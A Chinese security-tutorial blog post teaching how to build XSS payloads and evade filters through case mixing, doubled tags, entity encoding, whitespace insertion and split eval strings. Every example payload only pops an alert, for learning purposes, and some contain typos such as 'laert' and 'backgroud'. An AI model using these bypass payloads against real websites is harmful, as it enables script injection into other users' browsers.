【XSS漏洞-03】XSS漏洞语句构造和绕过方法实例

1 XSS语句构造方式

由于xss攻击的是用户的浏览器,因此浏览器的类型及版本会影响到xss代码是否执行成功。

1.1 第一种:利用[<>]构造HTML/JS语句

可以利用[<>]构造HTML/JS语句,如

<script>alert(/xss/)</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script>

1.2 第二种:利用javascript:伪协议

可以利用javascript:伪协议的方式构造XSS。

<a href="javascript:alert(/xss/)">touch me</a> 	//利用a标签的javascript:伪协议
<img src="javascript:alert(/xss/)" > 		//利用img标签的javascript:伪协议,但是这种方式在IE6下测试成功,在IE8失败

在这里插入图片描述

1.3 第三种:事件驱动

事件驱动:事件驱动是一种比较经典的编程思想。在网页内会发生很多事件(比如鼠标移动,键盘输入等),JS可以对此类事件进行响应,因此我们可以通过事件触发JS函数,触发XSS。关于js事件可以参考下《【JS基础-1】JavaScript语言简单介绍(语法、变量、数组、流程控制语句、函数、对象和事件)》。事件种类主要有以下几种。

  • Windows事件:对Windows对象触发的事件;
  • Form事件:HTML表单内的动作触发事件;
  • keyboard事件:键盘按键,onkeydown(当按下按键时触发)、onkeyup(当松开按键时触发)
  • Mouse事件:有鼠标或类似用户动作触发的事件,如ommouseover(鼠标悬停)、onclick(单击触发)
  • Media事件:由多媒体触发的事件,onerro(文档载入失败时触发)
<img src='./smile.jpg' onmouseover='alert(/xss/)'>	//该标签会引入一张图片,然后鼠标悬停在图片上的时候,会触发XSS代码。
<img src='./smile.jpg' onerror='alert(/xss/)'>		//onerror会在文档载入失败时触发XSS,比如下一个语句
<img src='#' onerror='alert(/xss/)'>				//与上一个语句相比,将文件路径改成#,一定载入失败,触发XSS
<input type="text" onkeydown="alert(/xss/)">		//单行文本框的键盘点击事件,当点击键盘任一按键时触发XSS。
<input type="text" onkeyup="alert(/xss/)">
<input type="button" onclick="alert(/xss/)">

在这里插入图片描述

1.4 第四种:利用CSS(层叠样式脚本)

利用CSS(层叠样式脚本)触发XSS的,该方法比较古老,现已基本不适用于主流浏览器,以下代码均在IE6下进行测试。其中,CSS(层叠样式脚本)可以参考《【HTML基础-4】CSS样式详解》。

// 行内样式
<div style = "backgroud-image:url(javascript:alert(/xss/))">

//页内样式
<style>Body{backgroud-image:url(javascript:alert(/xss/))}</style>

//外部样式
<link rel="stylesheet" type="text/css" href="./xss.css"><div>hello<div>
//其中xss.css文本内容如下
h1 {color:red;}
div{
	/*width:expression(alert(/xss/))*/
	backgroud-image:url(javascript:alert(/xss/))
}
@ expression
<div style="width:expression(alert(/xss/))">
<style>Body{backgroud-image:expression(alert(/xss/));}</style>
@import
<style>@import 'javascript:alert("xss")';</style>
<style type="text/css">@import url(xss.css);</style><div>HELLO</div>

1.5 其他标签及手法

利用一些比较新的前端标签进行构造。

<svg onload="alert(/xss/)">svg是h5的标签,onload也是事件,提交即触发
<input onfocus=alert(xss/) autofocus>onfocus也为事件,聚焦(当光标放到目标)即触发

2 XSS语句变形及绕过

目的:我们可以将构造的XSS代码进行各种变形,以绕过XSS过滤器检测。

2.1 第一种:大小写混编

可以将payload进行大小写混编,如以下例子。例子中包含两种语言,其中html语言对大小写不敏感,也就是说无论是大小写,该语言都认为是同一个函数;但是JS语言对大小写敏感,比如alert()函数,如果改为Alert(),JS语言则认为是另一个东西。

<Img sRc='#' Onerror="alert(/xss/)">						//由<img src='#' οnerrοr="alert(/xss/)">变形得到的
<A Href="javaScript:alert(/xss/)">touch me</a>	//由<a href="javascript:alert(/xss/)">touch me</a>变形得到的

在这里插入图片描述

2.2 第二种:双写绕过

当发现过滤器仅进行一次过滤时并将一些关键字过滤为空,则可以使用双写绕过。

<scr<script>ipt>alert(/xss/)</scr</script>ipt>

2.3 第三种:引号的使用

HTML语言中对引号的使用不敏感,但是有些过滤函数则对引号时锱铢必较的,因此我们可以使用不同引号来闭合XSS语句。
//以下三种均可能成功触发XSS,具体能否注入就看过滤是如何过滤的了。

<img src="#" onerror="alert(/xss/)">
<img src='#' onerror='alert(/xss/)'>
<img src=# onerror=alert(/xss/)>

2.4 第四种:使用 [/] 代替空格

使用 [/] 代替空格,如:

<a/href="javascript:alert(/xss/)">touch me</a>
</src='#'/onerror='alert(/xss/)'>

在这里插入图片描述

2.5 第五种:在一些关键字内插入回车符与Tab符

在一些关键字内,可以插入回车符与Tab符来绕过关键字检测。

<img src	='#' onerror='alert(/xss/)'>		//有时候tab符插在关键字内会失效。
<a href="ja	va	
script:alert(/xss/)">touch me</a>

在这里插入图片描述

2.6 第六种:编码绕过

编码绕过:可以对标签属性值进行转码,来实现绕过在,转码后的要加分号。

  • 字符a,对应ASCII码97,十进制编码&#97;,十六进制编码&#x61;
  • 字符e,对应ASCII码101,十进制编码&#101;,十六进制编码&#x65;

另外,可以将以下字符插入到任意位置中:

  • Tab ==> &#9;
  • 换行 ==> &#10;
  • 回车 ==> &#13;

可以将以下字符插入到头部位置。

  • SOH ==> &#01;
  • STX ==> &#02;

转码后例子如下:

<a href="j&#97;v&#x61;script:alert(/xss/)">click me!</a>					//经过简单编码
<A href="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:laert(/xss/)">click me!</a>	//经过插入字符

2.7 第七种:拆分跨站

拆分跨站,将语句拆分成多个,拼串起来后再执行。若后台有对字符串长度对限制,则可用拆分跨站将一个比较长的shellcode拆成几部分。

<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>		//ecal为执行函数,将后续的字符串当成语句执行。

2.8 第八种:CSS中的变形

CSS中的变形

width: expression(alert(/xss/)//使用全角字符
width:expre/**/ssion(alert(/xss/))								//注释会被浏览器忽略
<style>@import 'javas\cri\0pt:alert(/xss/)';</style>	//插入 \ 和 \0 符号

3 总结

(1)掌握XSS语句构造的4种方法;
(2)掌握XSS语句绕过的8种方法。

参考文章

[1] 《渗透中POC、EXP、Payload与Shellcode的区别
[2] 《【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法

  • 4
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值